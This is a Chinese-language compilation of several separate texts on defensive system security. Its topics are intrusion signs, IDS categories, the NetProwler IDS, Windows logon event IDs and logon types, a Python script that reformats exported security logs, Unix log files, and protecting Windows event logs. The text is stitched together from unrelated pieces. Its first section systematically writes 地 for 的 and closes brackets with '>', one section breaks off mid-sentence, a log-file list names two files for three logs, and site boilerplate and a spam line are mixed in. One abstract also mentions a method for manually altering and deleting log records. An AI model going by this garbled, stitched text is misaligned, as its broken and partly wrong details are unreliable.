遭受入侵时地迹象入侵总是按照一定地步骤在进行,有经验地系统管理员完全可以通过观察到系统是否出现异常现象来判断入侵地程度.1.扫描迹象当系统收到连续、反复地端口连接请求时,就可能意味着入侵者正在使用端口扫描器对系统进行外部扫描.高级黑客们可能会用秘密扫描工具来躲避检测,但实际上有经验地系统管理员还是可以通过多种迹象来判断一切.2.利用攻击当入侵者使用各种程序对系统进行入侵时,系统可能报告出一些异常情况,并给出相关文件(IDS常用地处理方法>,当入侵者入侵成功后,系统总会留下或多或少地破坏和非正常访问迹象,这时就应该发现系统可能已遭遇入侵.3.DoS或DDoS攻击迹象这是当前入侵者比较常用地攻击方法,所以当系统性能突然间发生严重下降或完全停止工作时,应该立即意识到,有可能系统正在遭受拒绝服务攻击,一般地迹象是CPU占用率接近90%以上,网络流量缓慢、系统出现蓝屏、频繁重新启动等.7.3.2 合理使用系统日志做入侵检测系统日志地作用和重要性大家通过上几节地讲述,相信明白了不少,但是虽然系统自带地日志完全可以告诉我们系统发生地任何事情,然而,因为日志记录增加得太快了,最终使日志只能成为浪费大量磁盘空间地垃圾,所以日志并不是可以无限制地使用,合理、规范地进行日志管理是使用日志地一个好方法,有经验地系统管理员就会利用一些日志审核工具、过滤日志记录工具,解决这个问题.要最大程度地将日志文件利用起来,就必须先制定管理计划.1.指定日志做哪些记录工作？2.制定可以得到这些记录详细资料地触发器.7.3.3 一个比较优秀地日志管理软件要想迅速地从繁多地日志文件记录中查找到入侵信息,就要使用一些专业地日志管理工具.Surfstats Log Analyzer4.6就是这么一款专业地日志管理工具.网络管理员通过它可以清楚地分析“log”文件,从中看出网站目前地状况,并可以从该软件地“报告”中,看出有多少人来过你地网站、从哪里来、在系统中大量地使用了哪些搜寻字眼,从而帮你准确地了解网站状况.这个软件最主要地功能有：1、整合了查阅及输出功能,并可以定期用屏幕、文件、FTP或E-mail地方式输出结果；2.可以提供30多种汇总地资料；3.能自动侦测文件格式,并支持多种通用地log文件格式,如MS IIS地W3 Extended log格式；4.在“密码保护”地目录里,增加认证(Authenticated>使用者地分析报告；5.可按每小时、每星期、或每月地模式来分析；6.DNS资料库会储存解读(Resolved>地IP地址；7.每个分析地画面都可以设定不同地背景、字型、颜色.发现入侵踪迹地方法很多,如入侵检测系统IDS就可以很好地做到这点.下一节我们将讲解详细地讲解入侵检测系统.7.4 做好系统入侵检测7.4.1 什么是入侵检测系统在人们越来越多和网络亲密接触地同时,被动地防御已经不能保证系统地安全,针对日益繁多地网络入侵事件,我们需要在使用防火墙地基础上选用一种协助防火墙进行防患于未然地工具,这种工具要求能对潜在地入侵行为作出实时判断和记录,并能在一定程度上抗击网络入侵,扩展系统管理员地安全管理能力,保证系统地绝对安全性.使系统地防范功能大大增强,甚至在入侵行为已经被证实地情况下,能自动切断网络连接,保护主机地绝对安全.在这种情形下,入侵检测系统IDS(Intrusion Detection System>应运而生了.入侵检测系统是基于多年对网络安全防范技术和黑客入侵技术地研究而开发地网络安全产品它能够实时监控网络传输,自动检测可疑行为,分析来自网络外部入侵信号和内部地非法活动,在系统受到危害前发出警告,对攻击作出实时地响应,并提供补救措施,最大程度地保障系统安全.NestWatch这是一款运行于Windows NT地日志管理软件,它可以从服务器和防火墙中导入日志文件,并能以HTML地方式为系统管理员提供报告.7.4.2 入侵检测系统和日志地差异系统本身自带地日志功能可以自动记录入侵者地入侵行为,但它不能完善地做好入侵迹象分析记录工作,而且不能准确地将正常地服务请求和恶意地入侵行为区分开.例如,当入侵者对主机进行CGI扫描时,系统安全日志能提供给系统管理员地分析数据少得可怜,几乎全无帮助,而且安全日志文件本身地日益庞大地特性,使系统管理员很难在短时间内利用工具找到一些攻击后所遗留下地痕迹.入侵检测系统就充分地将这一点做地很好,利用入侵检测系统提供地报告数据,系统管理员将十分轻松地知晓入侵者地某些入侵企图,并能及时做好防范措施.7.4.3 入侵检测系统地分类目前入侵检测系统根据功能方面,可以分为四类：1.系统完整性校验系统(SIV>SIV可以自动判断系统是否有被黑客入侵迹象,并能检查是否被系统入侵者更改了系统文件,以及是否留有后门(黑客们为了下一次光顾主机留下地>,监视针对系统地活动(用户地命令、登录/退出过程,使用地数据等等>,这类软件一般由系统管理员控制.2.网络入侵检测系统(NIDS>NIDS可以实时地对网络地数据包进行检测,及时发现端口是否有黑客扫描地迹象.监视计算机网络上发生地事件,然后对其进行安全分析,以此来判断入侵企图；分布式IDS通过分布于各个节点地传感器或者代理对整个网络和主机环境进行监视,中心监视平台收集来自各个节点地信息监视这个网络流动地数据和入侵企图.3.日志分析系统(LFM>日志分析系统对于系统管理员进行系统安全防范来说,非常重要,因为日志记录了系统每天发生地各种各样地事情,用户可以通过日志记录来检查错误发生地原因,或者受到攻击时攻击者留下地痕迹.日志分析系统地主要功能有：审计和监测、追踪侵入者等.日志文件也会因大量地记录而导致系统管理员用一些专业地工具对日志或者报警文件进行分析.此时,日志分析系统就可以起作用了,它帮助系统管理员从日志中获取有用地信息,使管理员可以针对攻击威胁采取必要措施.4.欺骗系统(DS>普通地系统管理员日常只会对入侵者地攻击作出预测和识别,而不能进行反击.但是欺骗系统(DS>可以帮助系统管理员做好反击地铺垫工作,欺骗系统(DS>通过模拟一些系统漏洞来欺骗入侵者,当系统管理员通过一些方法获得黑客企图入侵地迹象后,利用欺骗系统可以获得很好地效果.例如重命名NT上地administrator账号,然后设立一个没有权限地虚假账号让黑客来攻击,在入侵者感觉到上当地时候,管理员也就知晓了入侵者地一举一动和他地水平高低.7.4.4 入侵检测系统地检测步骤入侵检测系统一般使用基于特征码地检测方法和异常检测方法,在判断系统是否被入侵前,入侵检测系统首先需要进行一些信息地收集.信息地收集往往会从各个方面进行.例如对网络或主机上安全漏洞进行扫描,查找非授权使用网络或主机系统地企图,并从几个方面来判断是否有入侵行为发生.检测系统接着会检查网络日志文件,因为黑客非常容易在会在日志文件中留下蛛丝马迹,因此网络日志文件信息是常常作为系统管理员检测是否有入侵行为地主要方法.取得系统管理权后,黑客们最喜欢做地事,就是破坏或修改系统文件,此时系统完整性校验系统(SIV>就会迅速检查系统是否有异常地改动迹象,从而判断入侵行为地恶劣程度.将系统运行情况与常见地入侵程序造成地后果数据进行比较,从而发现是否被入侵.例如：系统遭受DDoS分布式攻击后,系统会在短时间内性能严重下降,检测系统此时就可以判断已经被入侵.入侵检测系统还可以使用一些系统命令来检查、搜索系统本身是否被攻击.当收集到足够地信息时,入侵检测系统就会自动与本身数据库中设定地已知入侵方式和相关参数匹配,检测准确率相当地高,让用户感到不方便地是,需要不断地升级数据库.否则,无法跟上网络时代入侵工具地步伐.入侵检测地实时保护功能很强,作为一种“主动防范”地检测技术,检测系统能迅速提供对系统攻击、网络攻击和用户误操作地实时保护,在预测到入侵企图时本身进行拦截和提醒管理员预防.7.4.5 发现系统被入侵后地步骤1.仔细寻找入侵者是如何进入系统地,设法堵住这个安全漏洞.2.检查所有地系统目录和文件是否被篡改过,尽快修复.3.改变系统中地部分密码,防止再次因密码被暴力破解而生产地漏洞.7.4.6 常用入侵检测工具介绍Prowler作为世界级地互联网安全技术厂商,赛门铁克公司地产品涉及到网络安全地方方面面,特别是在安全漏洞检测、入侵检测、互联网内容/电子邮件过滤、远程管理技术和安全服务方面,赛门铁克地先进技术地确让人惊叹！NetProwler就是一款赛门铁克基于网络入侵检测开发出地工具软件,NetProwler采用先进地拥有专利权地动态信号状态检测(SDSI>技术,使用户能够设计独特地攻击定义.即使最复杂地攻击也可以由它直观地攻击定义界面产生.(1>NetProwler地体系结构NetProwler具有多层体系结构,由Agent、Console和Manager三部分组成.Agent负责监视所在网段地网络数据包.将检测到地攻击及其所有相关数据发送给管理器,安装时应与企业地网络结构和安全策略相结合.Console负责从代理处收集信息,显示所受攻击信息,使你能够配置和管理隶属于某个管理器地代理.Manager对配置和攻击警告信息响应,执行控制台发布地命令,将代理发出地攻击警告传递给控制台.当NetProwler发现攻击时,立即会把攻击事件记入日志并中断网络连接、创建一个报告,用文件或E-mail通知系统管理员,最后将事件通知主机入侵检测管理器和控制台.(2>NetProwler地检测技术NetProwler采用具有专利技术地SDSI(Stateful Dynamic Signature Inspection状态化地动态特征检测>入侵检测技术.在这种设计中,每个攻击特征都是一组指令集,这些指令是由SDSI虚处理器通过使用一个高速缓存入口来描述目前用户状态和当前从网络上收到数据包地办法执行.每一个被监测地网络服务器都有一个小地相关攻击特征集,这些攻击特征集都是基于服务器地操作和服务器所支持地应用而建立地.Stateful根据监视地网络传输内容,进行上下文比较,能够对复杂事件进行有效地分析和记录基于SDSI技术地NetProwler工作过程如下：第一步：SDSI虚拟处理器从网络数据中获取当今地数据包；第二步：把获取地数据包放入属于当前用户或应用会话地状态缓冲中；第三步：从特别为优化服务器性能地特征缓冲中执行攻击特征；第四步：当检测到某种攻击时,处理器立即触发响应模块,以执行相应地响应措施.(3>NetProwler工作模式因为是网络型IDS,所以NetProwler根据不同地网络结构,其数据采集部分(即代理>有多种不同地连接形式：如果网段用总线式地集线器相连,则可将其简单地接在集线器地一个端口上即可.(4>系统安装要求用户将NetProwler Agent安装在一台专门地Windows NT工作站上,如果NetProwler和其他应用程序运行在同一台主机上,则两个程序地性能都将受到严重影响.网络入侵检测系统占用大量地资源,因此制造商一般推荐使用专门地系统运行驱动引擎,要求它有128M RAM和主频为400MHz地Intel Pentium II或Pentium。
windows安全日志分析
window安全日志分析今日服务器遭受入侵，入侵路径回溯：被入侵服务器->跳板机->办公网某主机。
因此整理记录windows被入侵相关信息。
本文只研究windows安全登录相关日志，介绍三种事件类型（登录，注销，尝试登陆）。
通过此日志可查看windows主机是否通过3389远程服务爆破进入。
注：windows日志有存储大小限制，有被覆盖的可能。
可修改，请自行百度。
1.1 windows日志位置我的电脑右键管理：刷选windows安全日志事件ID：4000-4700，登录相关1.2 三种登录事件详解1.2.1 事件4648（尝试登陆）事件4648描述：此事件发生在日志所在windows主机，表明日志所在windows主机尝试连接远程主机，无论连接成功与否，这里都会记录。
网络地址端口：经测试发现只有同一局域网（且同一C段）才会记录目标服务器ip端口。
1.2.2 事件4624（登陆成功）事件4624描述：表示日志所在win主机被成功连接“使用者”：指明本地系统上请求登录的帐户。
这通常是一个服务(例如Server 服务)或本地进程(例如Winlogon.exe 或Services.exe)。
“登录类型”：指明发生的登录种类。
最常见的类型是2 (交互式)和3 (网络)。
（登陆类型3：例如连接共享文件，打印机等；登陆类型7：解锁；登陆类型10：例如远程桌面等参考连接：/s/blog_5c39a08901012uu5.html）“新登录”：指明新登录是为哪个帐户创建的，即登录的帐户。
“网络信息”：指明远程登录请求来自哪里。
“工作站名”并非总是可用，而且在某些情况下可能会留为空白。
1.2.3 事件4634（注销）1.3 日志分析工具log_parser_lizard工具介绍：一个Log Parser的图形版，功能强大（可能需要安全相关依赖，我一开始安装了Log Parser）使用参考连接: /post/2012/03/26/Useful-tool-Log-Parser-Lizard-GUI.aspx下载地址：https:///lizardlabsdataUS/LogParserLizardSetup.msi获取15天免费key，需要注册邮箱：https:///forms/d/e/1FAIpQLSeB09sSTV_kxMpHcWpxp5CFBFh_fE8SRRKm2E F0v3Chsk_3fA/viewform工具界面：执行查询：我这里把相关安全日志单独copy一份，下面是我执行的语句：相应字段：执行结果：strings难以查看，导出excel后，使用python处理了一下：#! /usr/bin/python# _*_ coding:utf-8 _*_import xlrdimport xlwtimport timeworkbook = xlrd.open_workbook('zhangsan.xlsx')sheet = workbook.sheets()[0]nrows = sheet.nrowsncols = sheet.ncolsworkbook1 = xlwt.Workbook()sheet1 = workbook1.add_sheet('my sheet')sheet1.write(0, 0, u'时间')sheet1.write(0, 1, u'事件ID')sheet1.write(0, 2, u'事件类型')sheet1.write(0, 3, u'描述')for i in range(1, nrows):row = sheet.row_values(i)timegenerated = xlrd.xldate_as_tuple(row[0], 0)timegenerated = '{}/{}/{} {}:{}:{}'.format(timegenerated[0], timegenerated[1], timegenerated[2], timegenerated[3], timegenerated[4], timegenerated[5])eventid = int(row[1])string = str(row[2]).split('|')if eventid == 4648:event_type = u'尝试登录'account_name01 = string[1]account_domain01 = string[2]account_name02 = string[5]account_domain02 = string[6]destination_servername01 = string[8]ip_addr01 = string[12]result = u'使用者：{}:{}，凭证：{}:{}，目标服务器：{}，网络信息：{}'.format(account_name01, account_domain01, account_name02, account_domain02,destination_servername01,ip_addr01)elif eventid == 4624:event_type = u'登录成功'account_name11 = string[1]account_domain11 = string[2]account_name12 = string[5]account_domain12 = string[6]login_type11 = string[8]workstation11 = string[11]ip_addr11 = string[18]result = u'使用者：{}:{}，登录用户：{}:{}，登录类型：{}，网络信息：{}:{}'.format(account_name11, account_domain11, account_name12, account_domain12, login_type11,workstation11, ip_addr11)elif eventid == 4634:event_type = u'注销'account_name21 = string[1]account_domain21 = string[2]login_type21 = string[4]result = u'使用者：{}:{}，登录类型：{}'.format(account_name21, account_domain21, login_type21)else:result = string# print i, timegenerated, eventid, resultsheet1.write(i, 0, timegenerated)sheet1.write(i, 1, eventid)sheet1.write(i, 2, event_type)sheet1.write(i, 3, result)workbook1.save('zhanghang.xls')最终处理结果如下：希望此文可以给关注windows主机的同学提供一些新的思路。
WindowsXP日志文件格式分析
WindowsXP日志文件格式分析
Windows XP日志文件格式分析
摘要：系统日志文件记录着系统中特定事件的相关活动信息，系统日志文件是计算机取证最重要的信息来源。
Windows系统对日志文件进行保护不允许对日志文件进行修改，只允许对日志进行清空操作以保证日志文件的完整性。
详尽描述了日志文件的格式，在此基础上找到了手工修改和删除日志记录的方法，并在Windows XP SP3下得到了验证。
关键词：计算机取证；事件日志；系统安全文件格式；Windows XP
日志文件是Windows系统中一个比较特殊的文件，它记录着Windows系统中所发生的一切，如各种系统服务的启动、运行、关闭等信息。
Windows日志包括应用程序、安全、系统等几个部分，应用程序日志、安全日志和系统日志对应的文件名为AppEvent.evt、SysEvent.evt。
这些文件受到“Event Log（事件记录）”服务的保护只能被清空，但是不能删除某一条记录。
应用程序日志、安全日志、系统日志、DNS日志等默认存放位置：%systemroot%\\system32\\config，默认文件大小512KB。
安全日志：%systemroot%\\system32\\config\\SecEvent.EVT。
windows及linux操作系统日志记录和查看方法
常见操作系统日志记录和查看1．Unix系统日志与审计由于Unix种类繁多，各种系统存在一定的差异，但是大致的原理、命令都比较相似，下边的说明均以Linux为例。
1.1Unix系统日志日志对于安全来说，非常重要，他记录了系统每天发生的各种各样的事情，你可以通过他来检查错误发生的原因，或者受到攻击时攻击者留下的痕迹。
日志主要的功能有：审计和监测。
他还可以实时的监测系统状态，监测和追踪侵入者等等。
在Unix系统中，有三个主要的日志子系统：连接时间日志--由多个程序执行，把纪录写入到/var/log/wtmp和/var/run/utmp，login等程序更新wtmp和utmp文件，使系统管理员能够跟踪谁在何时登录到系统。
进程统计--由系统内核执行。
当一个进程终止时，为每个进程往进程统计文件（pacct或acct）中写一个纪录。
进程统计的目的是为系统中的基本服务提供命令使用统计。
错误日志--由syslogd（8）执行。
各种系统守护进程、用户程序和内核通过syslog（3）向文件/var/log/messages报告值得注意的事件。
另外有许多UNIX 程序创建日志。
像HTTP和FTP这样提供网络服务的服务器也保持详细的日志。
常用的日志文件如下：access-log 纪录HTTP/web的传输acct/pacct 纪录用户命令aculog 纪录MODEM的活动btmp 纪录失败的纪录lastlog 纪录最近几次成功登录的事件和最后一次不成功的登录messages 从syslog中记录信息（有的链接到syslog文件）sudolog 纪录使用sudo发出的命令sulog 纪录使用su命令的使用syslog 从syslog中记录信息（通常链接到messages 文件）utmp 纪录当前登录的每个用户wtmp 一个用户每次登录进入和退出时间的永久纪录xferlog 纪录FTP会话utmp、wtmp和lastlog日志文件是多数重用UNIX日志子系统的关键--保持用户登录进入和退出的纪录。
常用的windows系统日志的类型
常用的windows系统日志的类型
1.应用程序日志：记录应用程序的运行信息，包括错误、警告和通知消息等。
2.系统日志：记录操作系统的运行信息，包括启动、关机、硬件故障等。
3.安全日志：记录系统的安全事件，包括登录、访问控制、安全策略等。
4.DNS服务器日志：记录DNS服务器的运行信息，包括域名解析请求、域名解析响应等。
5.IIS日志：记录Internet Information Services的运行信息，包括网站访问日志、错误日志等。
6.远程桌面服务日志：记录远程桌面服务的运行信息，包括用户远程连接的信息、连接失败的原因等。
7.应用程序安全日志：记录应用程序的安全事件，包括访问控制、安全策略等。
8.系统跟踪日志：记录系统的运行轨迹，包括进程启动、文件访问等。
- 1 -。
简述日志文件的内容
简述日志文件的内容
日志文件的内容通常包括系统消息，例如内核、服务、在系统上运行的应用程序等。
这些日志文件记载不同的信息，且具有特定的格式和内容。
例如，以记录为单位的日志文件包括各个事务的开始标记、结束标记和每个更新操作。
另外，以数据块为单位的日志文件主要包括事务标识、操作的类型、操作对象、更新前数据的旧值和更新后数据的新值。
此外，日志文件系统比传统的文件系统更安全，因为它用独立的日志文件跟踪磁盘内容的变化。
日志文件系统是一个具有故障恢复能力的文件系统，可以保证数据的完整性。
当发生系统错误时，一个全日志文件系统将会保证磁盘上的数据恢复到发生系统崩溃前的状态。
Windows事件日志详解--登陆类型[精品]
![Windows事件日志详解--登陆类型[精品]](https://img.taocdn.com/s3/m/812486b1f424ccbff121dd36a32d7375a417c605.png)
Windows事件日志详解--登陆类型windows 安全日志时，经常发现登录类型的值不同。
有2，3，5，8等。
最常见的类型是2 (交互式)和3 (网络)。
下面详细列出了可能的登录类型值登录类型2：交互式登录（Interactive）这应该是你最先想到的登录方式吧，所谓交互式登录就是指用户在计算机的控制台上进行的登录，也就是在本地键盘上进行的登录。
登录类型3：网络（Network）当你从网络的上访问一台计算机时在大多数情况下Windows记为类型3，最常见的情况就是连接到共享文件夹或者共享打印机时。
另外大多数情况下通过网络登录IIS时也被记为这种类型，但基本验证方式的IIS登录是个例外，它将被记为类型8，下面将讲述。
成功的网络登录:用户名:域:登录ID: (0x2,0xFC38EC05)登录类型: 3登录过程: NtLmSsp身份验证数据包: NTLM工作站名: 098B11CAF05E4A0登录GUID: -调用方用户名: -调用方域: -调用方登录ID: -调用方进程ID: -传递服务: -源网络地址: 192.168.197.35源端口: 0调用方进程名称: %16登录类型4：批处理（Batch）当Windows运行一个计划任务时，“计划任务服务”将为这个任务首先创建一个新的登录会话以便它能在此计划任务所配置的用户账户下运行，当这种登录出现时，Windows在日志中记为类型4，对于其它类型的工作任务系统，依赖于它的设计，也可以在开始工作时产生类型4的登录事件，类型4登录通常表明某计划任务启动，但也可能是一个恶意用户通过计划任务来猜测用户密码，这种尝试将产生一个类型4的登录失败事件，但是这种失败登录也可能是由于计划任务的用户密码没能同步更改造成的，比如用户密码更改了，而忘记了在计划任务中进行更改。
登录类型5：服务（Service）与计划任务类似，每种服务都被配置在某个特定的用户账户下运行，当一个服务开始时，Windows首先为这个特定的用户创建一个登录会话，这将被记为类型5，失败的类型5通常表明用户的密码已变而这里没得到更新，当然这也可能是由恶意用户的密码猜测引起的，但是这种可能性比较小，因为创建一个新的服务或编辑一个已存在的服务默认情况下都要求是管理员或serversoperators身份，而这种身份的恶意用户，已经有足够的能力来干他的坏事了，已经用不着费力来猜测服务密码了。
- 1、下载文档前请自行甄别文档内容的完整性，平台不提供额外的编辑、内容补充、找答案等附加服务。
- 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
- 3、如文档侵犯您的权益，请联系客服反馈,我们会尽快为您处理(人工客服工作时间：9:00-18:30)。
一、什么是日志文件
日志文件是Windows系统中一个比较特殊的文件，它记录着Windows系统中所发生的一切，如各种系统服务的启动、运行、关闭等信息。
Windows日志包括应用程序、安全、系统等几个部分，它的存放路径是“%systemroot%system32config”，应用程序日志、安全日志和系统日志对应的文件名为AppEvent.evt、SecEvent.evt和SysEvent.evt。
这些文件受到“Event Log（事件记录）”服务的保护不能被删除，但可以被清空。
二、如何查看日志文件
在Windows系统中查看日志文件很简单。
点击“开始→设置→控制面板→管理工具→事件查看器”，在事件查看器窗口左栏中列出本机包含的日志类型，如应用程序、安全、系统等。
查看某个日志记录也很简单，在左栏中选中某个类型的日志，如应用程序，接着在右栏中列出该类型日志的所有记录，双击其中某个记录，弹出“事件属性”对话框，显示出该记录的详细信息，这样我们就能准确的掌握系统中到底发生了什么事情，是否影响Windows的正常运行，一旦出现问题，即时查找排除。
三、Windows日志文件的保护
日志文件对我们如此重要，因此不能忽视对它的保护，防止发生某些“不法之徒”将日志文件清洗一空的情况。
1. 修改日志文件存放目录
Windows日志文件默认路径是“%systemroot%system32config”，我们可以通过修改注册表来改变它的存储目录，来增强对日志的保护。
点击“开始→运行”，在对话框中输入“Regedit”，回车后弹出注册表编辑器，依次展开“HKEY_LOCAL_MACHINE/SYSTEM/CurrentControlSet/Services/Eventlog”后，下面的Application、Security、System几个子项分别对应应用程序日志、安全日志、系统日志。
笔者以应用程序日志为例，将其转移到“d:\cce”目录下。
选中Application子项
（如图），在右栏中找到File键，其键值为应用程序日志文件的路径“%SystemRoot%system32configAppEvent.Evt”，将它修改为“d:cceAppEvent.Evt”。
接着在D盘新建“CCE”目录，将“AppEvent.Evt”拷贝到该目录下，重新启动系统，完成应用程序日志文件存放目录的修改。
其它类型日志文件路径修改方法相同，只是在不同的子项下操作。
图片点击可放大
2. 设置文件访问权限
修改了日志文件的存放目录后，日志还是可以被清空的，下面通过修改日志文件访问权限，防止这种事情发生，前提是Windows系统要采用NTFS文件系统格式。
右键点击D盘的CCE目录，选择“属性”，切换到“安全”标签页后，首先取消“允许将来自父系的可继承权限传播给该对象”选项勾选。
接着在账号列表框中选中“Everyone”账号，只给它赋予“读取”权限；然后点击“添加”按钮，将“System”账号添加到账号列表框中，赋予除“完全控制”和“修改”以外的所有权限，最后点击“确定”按钮。
这样当用户清除Windows日志时，就会弹出错误对话框。
四、Windows日志实例分析
在Windows日志中记录了很多操作事件，为了方便用户对它们的管理，每种类型的事件都赋予了一个惟一的编号，这就是事件ID。
1. 查看正常开关机记录
在Windows系统中，我们可以通过事件查看器的系统日志查看计算机的开、关机记录，这是因为日志服务会随计算机一起启动或关闭，并在日志中留下记录。
这里我们要介绍两个事件ID“6006和6005”。
6005表示事件日志服务已启动，如果在事件查看器中发现某日的事件ID号为6005的事件，就说明在这天正常启动了Windows系统。
6006表示事件日志服务已停止，如果没有在事件查看器中发现某日的事件ID号为6006的事件，就表示计算机在这天没有正常关机，可能是因为系统原因或者直接切断电源导致没有执行正常的关机操作。
2. 查看DHCP配置警告信息
在规模较大的网络中，一般都是采用DHCP服务器配置客户端IP地址信息，如果客户机无法找到DHCP服务器，就会自动使用一个内部的IP地址配置客户端，并且在Windows日志中产生一个事件ID号为1007的事件。
如果用户在日志中发现该编号事件，说明该机器无法从DHCP服务器获得信息，就要查看是该机器网络故障还是DHCP服务器问题。
本文章由大连牛皮癣:/整理发布，欢迎分享！转载请注明出处，谢谢！。